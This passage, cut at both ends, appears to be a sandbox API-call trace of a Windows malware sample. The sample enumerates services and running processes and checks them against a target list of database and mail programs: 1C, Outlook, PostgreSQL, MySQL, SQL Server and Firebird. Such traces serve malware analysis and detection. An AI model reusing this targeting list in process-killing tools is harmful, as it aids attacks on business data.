returned 1 [0195.091] lstrlenW (lpString="MMCSS") returned 5 [0195.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0195.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0195.091] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0195.091] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0195.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0195.092] lstrlenW (lpString="nsi") returned 3 [0195.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0195.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0195.092] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0195.092] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0195.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0195.092] lstrlenW (lpString="PlugPlay") returned 8 [0195.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0195.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0195.092] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0195.092] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0195.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0195.092] lstrlenW (lpString="Power") returned 5 [0195.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0195.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0195.093] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0195.093] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0195.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0195.093] lstrlenW (lpString="ProfSvc") returned 7 [0195.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0195.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0195.093] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0195.093] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0195.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0195.094] lstrlenW (lpString="RpcEptMapper") returned 12 [0195.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0195.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0195.094] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0195.094] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0195.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0195.094] lstrlenW (lpString="RpcSs") returned 5 [0195.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0195.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0195.094] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0195.094] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0195.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0195.095] lstrlenW (lpString="SamSs") returned 5 [0195.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0195.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0195.095] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0195.095] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0195.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0195.095] lstrlenW (lpString="Schedule") returned 8 [0195.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0195.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0195.095] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0195.096] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0195.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0195.096] lstrlenW (lpString="SENS") returned 4 [0195.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0195.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0195.096] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0195.096] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0195.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0195.097] lstrlenW (lpString="ShellHWDetection") returned 16 [0195.097] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0195.097] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0195.097] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0195.097] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0195.097] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0195.097] lstrlenW (lpString="Spooler") returned 7 [0195.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0195.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0195.098] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0195.098] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0195.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0195.098] lstrlenW (lpString="Themes") returned 6 [0195.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0195.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0195.098] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0195.098] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0195.098] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0195.098] lstrlenW (lpString="UxSms") returned 5 [0195.098] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0195.098] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0195.099] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0195.099] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0195.099] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0195.099] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3b014e8 | out: hHeap=0x880000) returned 1 [0195.099] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x200 [0195.104] Process32FirstW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.105] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0195.106] lstrlenW (lpString="System") returned 6 [0195.106] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0195.106] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0195.106] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0195.106] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0195.106] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0195.107] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0195.107] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0195.107] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0195.108] lstrlenW (lpString="smss.exe") returned 8 [0195.108] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0195.108] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0195.108] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0195.108] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0195.108] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0195.108] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0195.108] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0195.108] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0195.110] lstrlenW (lpString="csrss.exe") returned 9 [0195.110] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0195.110] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0195.110] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0195.111] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0195.111] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0195.111] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0195.111] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0195.111] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0195.113] lstrlenW (lpString="wininit.exe") returned 11 [0195.113] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0195.113] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0195.113] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0195.114] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0195.114] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0195.114] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0195.114] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0195.114] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0195.116] lstrlenW (lpString="csrss.exe") returned 9 [0195.116] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0195.116] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0195.116] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0195.116] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0195.116] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0195.116] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0195.116] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0195.117] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0195.118] lstrlenW (lpString="winlogon.exe") returned 12 [0195.118] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0195.119] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0195.119] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0195.119] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0195.119] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0195.119] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0195.119] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0195.119] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0195.121] lstrlenW (lpString="services.exe") returned 12 [0195.121] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0195.121] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0195.121] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0195.121] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0195.121] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0195.122] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0195.122] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0195.122] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0195.123] lstrlenW (lpString="lsass.exe") returned 9 [0195.123] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0195.123] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0195.123] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0195.124] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0195.124] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0195.124] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0195.124] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0195.124] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0195.125] lstrlenW (lpString="lsm.exe") returned 7 [0195.125] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0195.125] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0195.125] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0195.125] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0195.125] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0195.125] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0195.125] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0195.125] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0195.126] lstrlenW (lpString="svchost.exe") returned 11 [0195.127] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0195.127] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0195.127] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0195.127] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0195.127] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0195.127] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0195.127] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0195.127] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.256] lstrlenW (lpString="svchost.exe") returned 11 [0196.256] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0196.256] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0196.256] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0196.256] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0196.256] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0196.256] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0196.256] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0196.256] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.257] lstrlenW (lpString="svchost.exe") returned 11 [0196.257] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0196.258] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0196.258] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0196.258] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0196.258] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0196.258] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0196.258] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0196.258] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.259] lstrlenW (lpString="svchost.exe") returned 11 [0196.259] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0196.259] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0196.259] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0196.260] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0196.260] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0196.260] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0196.260] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0196.260] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.261] lstrlenW (lpString="svchost.exe") returned 11 [0196.261] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0196.261] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0196.261] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0196.261] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0196.261] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0196.262] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0196.262] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0196.262] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0196.263] lstrlenW (lpString="audiodg.exe") returned 11 [0196.263] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0196.263] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0196.263] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0196.263] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0196.263] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0196.263] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0196.264] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0196.264] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.265] lstrlenW (lpString="svchost.exe") returned 11 [0196.265] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0196.265] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0196.265] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0196.265] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0196.265] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0196.265] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0196.265] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0196.265] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0196.267] lstrlenW (lpString="userinit.exe") returned 12 [0196.267] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0196.267] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0196.267] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0196.267] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0196.267] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0196.267] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0196.268] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0196.268] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0196.269] lstrlenW (lpString="explorer.exe") returned 12 [0196.269] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0196.269] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0196.269] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0196.269] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0196.269] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0196.269] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1 [0196.269] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1 [0196.269] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0196.270] lstrlenW (lpString="dwm.exe") returned 7 [0196.270] lstrcmpiW (lpString1="1c8.exe", lpString2="dwm.exe") returned -1 [0196.270] lstrcmpiW (lpString1="1cv77.exe", lpString2="dwm.exe") returned -1 [0196.271] lstrcmpiW (lpString1="outlook.exe", lpString2="dwm.exe") returned 1 [0196.271] lstrcmpiW (lpString1="postgres.exe", lpString2="dwm.exe") returned 1 [0196.271] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dwm.exe") returned 1 [0196.271] lstrcmpiW (lpString1="mysqld.exe", lpString2="dwm.exe") returned 1 [0196.271] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dwm.exe") returned 1 [0196.271] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0196.272] lstrlenW (lpString="svchost.exe") returned 11 [0196.272] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0196.272] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0196.272] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0196.272] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0196.272] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0196.272] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0196.273] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0196.273] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0196.274] lstrlenW (lpString="driver.exe") returned 10 [0196.274] lstrcmpiW (lpString1="1c8.exe", lpString2="driver.exe") returned -1 [0196.274] lstrcmpiW (lpString1="1cv77.exe", lpString2="driver.exe") returned -1 [0196.274] lstrcmpiW (lpString1="outlook.exe", lpString2="driver.exe") returned 1 [0196.274] lstrcmpiW (lpString1="postgres.exe", lpString2="driver.exe") returned 1 [0196.274] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="driver.exe") returned 1 [0196.274] lstrcmpiW (lpString1="mysqld.exe", lpString2="driver.exe") returned 1 [0196.274] lstrcmpiW (lpString1="sqlservr.exe", lpString2="driver.exe") returned 1 [0196.274] Process32NextW (in: hSnapshot=0x200, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, 